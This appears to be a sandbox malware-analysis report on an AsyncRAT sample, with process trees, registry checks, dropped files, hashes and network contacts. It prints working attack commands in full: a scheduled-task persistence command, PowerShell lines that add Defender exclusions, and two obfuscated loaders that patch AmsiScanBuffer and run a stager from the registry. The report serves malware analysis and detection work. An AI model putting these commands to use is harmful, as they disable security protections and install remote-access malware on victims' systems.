SHA512 eb2d44ee1c67c247fc184f38764c762a04266773d8669e488d78f0a777d28c26a31033d8b1ec5bc36896f4ef8098fa641210919798bd2722a5b15e2dd1bba8cf

memory/520-347-0x0000000000000000-mapping.dmp

memory/1380-362-0x0000000000000000-mapping.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-11-01 10:42

Reported

2022-11-01 10:44

Platform

win10v2004-20220812-en

Max time kernel

78s

Max time network

138s

Command Line

"C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\AppData\Roaming\$77-update.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3172 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 3172 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 3172 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 3172 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 3172 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 3172 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 3172 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 3172 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 3084 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3084 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3084 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3084 wrote to memory of 3564 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3084 wrote to memory of 3564 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3084 wrote to memory of 3564 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Windows\SysWOW64\cmd.exe
PID 3984 wrote to memory of 4120 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3984 wrote to memory of 4120 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3984 wrote to memory of 4120 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3564 wrote to memory of 4900 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 3564 wrote to memory of 4900 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 3564 wrote to memory of 4900 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 3564 wrote to memory of 4836 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 3564 wrote to memory of 4836 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 3564 wrote to memory of 4836 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4836 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4836 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4836 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4836 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4836 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4836 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4836 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 4836 wrote to memory of 456 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Users\Admin\AppData\Roaming\$77-update.exe
PID 456 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 456 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 456 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 456 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 456 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 456 wrote to memory of 4828 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 456 wrote to memory of 4708 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 456 wrote to memory of 4708 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 456 wrote to memory of 4708 N/A C:\Users\Admin\AppData\Roaming\$77-update.exe C:\Windows\SysWOW64\cmd.exe
PID 4708 wrote to memory of 2236 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4708 wrote to memory of 2236 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4708 wrote to memory of 2236 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe

"C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe"

C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe

"{path}"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"' & exit

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF830.tmp.bat""

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "$77-update" /tr '"C:\Users\Admin\AppData\Roaming\$77-update.exe"'

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Users\Admin\AppData\Roaming\$77-update.exe

"C:\Users\Admin\AppData\Roaming\$77-update.exe"

C:\Users\Admin\AppData\Roaming\$77-update.exe

"{path}"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension @('exe','dll') -Force

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\mnrflr.exe"' & exit

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\mnrflr.exe"'

C:\Users\Admin\AppData\Local\Temp\mnrflr.exe

"C:\Users\Admin\AppData\Local\Temp\mnrflr.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:tbkqimiyfzUz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IwYtXOtBtQwQqj,[Parameter(Position=1)][Type]$iPMuxlCOEI)$nGObfZbeYad=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$nGObfZbeYad.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$IwYtXOtBtQwQqj).SetImplementationFlags('Runtime,Managed');$nGObfZbeYad.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$iPMuxlCOEI,$IwYtXOtBtQwQqj).SetImplementationFlags('Runtime,Managed');Write-Output $nGObfZbeYad.CreateType();}$MoqKhxaskFoaV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$ERtSQpGpRGsnyV=$MoqKhxaskFoaV.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hdhBAHpWubGdiEZRnlF=tbkqimiyfzUz @([String])([IntPtr]);$AtWIqquCzxHiNYyxENXFfi=tbkqimiyfzUz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$nVltDWITgSB=$MoqKhxaskFoaV.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$uYOfgWNwFTlDHf=$ERtSQpGpRGsnyV.Invoke($Null,@([Object]$nVltDWITgSB,[Object]('Load'+'LibraryA')));$MPiTVUgLZLAaebjPa=$ERtSQpGpRGsnyV.Invoke($Null,@([Object]$nVltDWITgSB,[Object]('Vir'+'tual'+'Pro'+'tect')));$bkPXySI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uYOfgWNwFTlDHf,$hdhBAHpWubGdiEZRnlF).Invoke('a'+'m'+'si.dll');$xNlZTUMACQZQgTSch=$ERtSQpGpRGsnyV.Invoke($Null,@([Object]$bkPXySI,[Object]('Ams'+'iSc'+'an'+'Buffer')));$TTdoOZlxkB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MPiTVUgLZLAaebjPa,$AtWIqquCzxHiNYyxENXFfi).Invoke($xNlZTUMACQZQgTSch,[uint32]8,4,[ref]$TTdoOZlxkB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$xNlZTUMACQZQgTSch,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MPiTVUgLZLAaebjPa,$AtWIqquCzxHiNYyxENXFfi).Invoke($xNlZTUMACQZQgTSch,[uint32]8,0x20,[ref]$TTdoOZlxkB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ziNMgoNGoBRl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ddsvCpgnIuaPhx,[Parameter(Position=1)][Type]$owgjmaxBSx)$HBOboKbxVfh=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$HBOboKbxVfh.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$ddsvCpgnIuaPhx).SetImplementationFlags('Runtime,Managed');$HBOboKbxVfh.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$owgjmaxBSx,$ddsvCpgnIuaPhx).SetImplementationFlags('Runtime,Managed');Write-Output $HBOboKbxVfh.CreateType();}$BdGqLOqyvYNue=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$cSuiprfaphkETf=$BdGqLOqyvYNue.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GlWkWpIyEXtmHRCwDXp=ziNMgoNGoBRl @([String])([IntPtr]);$RWxZcAUYOwqiFpKSzzFWtH=ziNMgoNGoBRl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hmeXdfWNtXe=$BdGqLOqyvYNue.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$hkMlyYqJUjEkpz=$cSuiprfaphkETf.Invoke($Null,@([Object]$hmeXdfWNtXe,[Object]('Load'+'LibraryA')));$hPHoMYKRUySYnRwkT=$cSuiprfaphkETf.Invoke($Null,@([Object]$hmeXdfWNtXe,[Object]('Vir'+'tual'+'Pro'+'tect')));$muIcHaz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hkMlyYqJUjEkpz,$GlWkWpIyEXtmHRCwDXp).Invoke('a'+'m'+'si.dll');$PPcbRbsDdDmZjgCcI=$cSuiprfaphkETf.Invoke($Null,@([Object]$muIcHaz,[Object]('Ams'+'iSc'+'an'+'Buffer')));$HRtOUGFNEa=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hPHoMYKRUySYnRwkT,$RWxZcAUYOwqiFpKSzzFWtH).Invoke($PPcbRbsDdDmZjgCcI,[uint32]8,4,[ref]$HRtOUGFNEa);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PPcbRbsDdDmZjgCcI,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hPHoMYKRUySYnRwkT,$RWxZcAUYOwqiFpKSzzFWtH).Invoke($PPcbRbsDdDmZjgCcI,[uint32]8,0x20,[ref]$HRtOUGFNEa);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{d596c8ed-b563-4340-950c-862a3a8ebd51}

Network

Country Destination Domain Proto
US 8.238.20.126:80 tcp
US 13.89.179.8:443 tcp
US 8.238.20.126:80 tcp
US 8.238.20.126:80 tcp
US 8.253.208.120:80 tcp
CH 179.43.187.19:33 tcp
CH 179.43.187.19:33 tcp

Files

memory/3172-132-0x0000000000B10000-0x0000000000BA8000-memory.dmp

memory/3172-133-0x00000000059E0000-0x0000000005F84000-memory.dmp

memory/3172-134-0x0000000005530000-0x00000000055C2000-memory.dmp

memory/3172-135-0x0000000005670000-0x000000000570C000-memory.dmp

memory/3172-136-0x00000000055E0000-0x00000000055EA000-memory.dmp

memory/3172-137-0x000000000E850000-0x000000000E8B6000-memory.dmp

memory/3084-138-0x0000000000000000-mapping.dmp

memory/3084-139-0x0000000000400000-0x0000000000412000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe.log

MD5 3aea5c16a0e7b995983bd1771d5ea11d
SHA1 5ce845c82ace7946cec271a8bac45572b977419c
SHA256 8d7143472e7cf3a40f46c6346251661e10fe3a932321cff14190648ee3d9c02f
SHA512 4d0949cc3c0b7bc19b94a7166fb1a528c5833773b4b577f1730c4aab93ec03f3d72714ebf8a103f2a6ab4f97abef2945e78c91d464885fb4f1f9c584d7a1b243

memory/3984-141-0x0000000000000000-mapping.dmp

memory/3564-142-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\tmpF830.tmp.bat

MD5 2b36af4e30b65e5e8516477e5d3cf7b2
SHA1 489ae3a90e68a304e3e8725e433c89a2ed979832
SHA256 11cd2619376b14271470c08a04bfdf29d832716c7da38d8d80d45eeba8ae6a6e
SHA512 172f0802b3bc652d1e278bb1ae22e7652cb4c95529c327cf041fc65420e6cebd955da2e7c93d5a3b1bb3d1f4dc038c8097e9bf1f0adda55040f05d878579fae1

memory/4120-144-0x0000000000000000-mapping.dmp

memory/4900-145-0x0000000000000000-mapping.dmp

memory/4836-146-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\$77-update.exe.log

MD5 3aea5c16a0e7b995983bd1771d5ea11d
SHA1 5ce845c82ace7946cec271a8bac45572b977419c
SHA256 8d7143472e7cf3a40f46c6346251661e10fe3a932321cff14190648ee3d9c02f
SHA512 4d0949cc3c0b7bc19b94a7166fb1a528c5833773b4b577f1730c4aab93ec03f3d72714ebf8a103f2a6ab4f97abef2945e78c91d464885fb4f1f9c584d7a1b243

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/456-149-0x0000000000000000-mapping.dmp

memory/1984-153-0x0000000000000000-mapping.dmp

memory/4828-154-0x0000000000000000-mapping.dmp

memory/1984-155-0x0000000002100000-0x0000000002136000-memory.dmp

memory/1984-156-0x0000000004C50000-0x0000000005278000-memory.dmp

memory/4828-157-0x0000000006050000-0x0000000006072000-memory.dmp

memory/4828-158-0x00000000060F0000-0x0000000006156000-memory.dmp

memory/4828-159-0x00000000067F0000-0x000000000680E000-memory.dmp

memory/4828-160-0x0000000006DC0000-0x0000000006DF2000-memory.dmp

memory/4828-162-0x000000006FC10000-0x000000006FC5C000-memory.dmp

memory/1984-161-0x000000006FC10000-0x000000006FC5C000-memory.dmp

memory/1984-163-0x0000000005FE0000-0x0000000005FFE000-memory.dmp

memory/1984-164-0x0000000007380000-0x00000000079FA000-memory.dmp

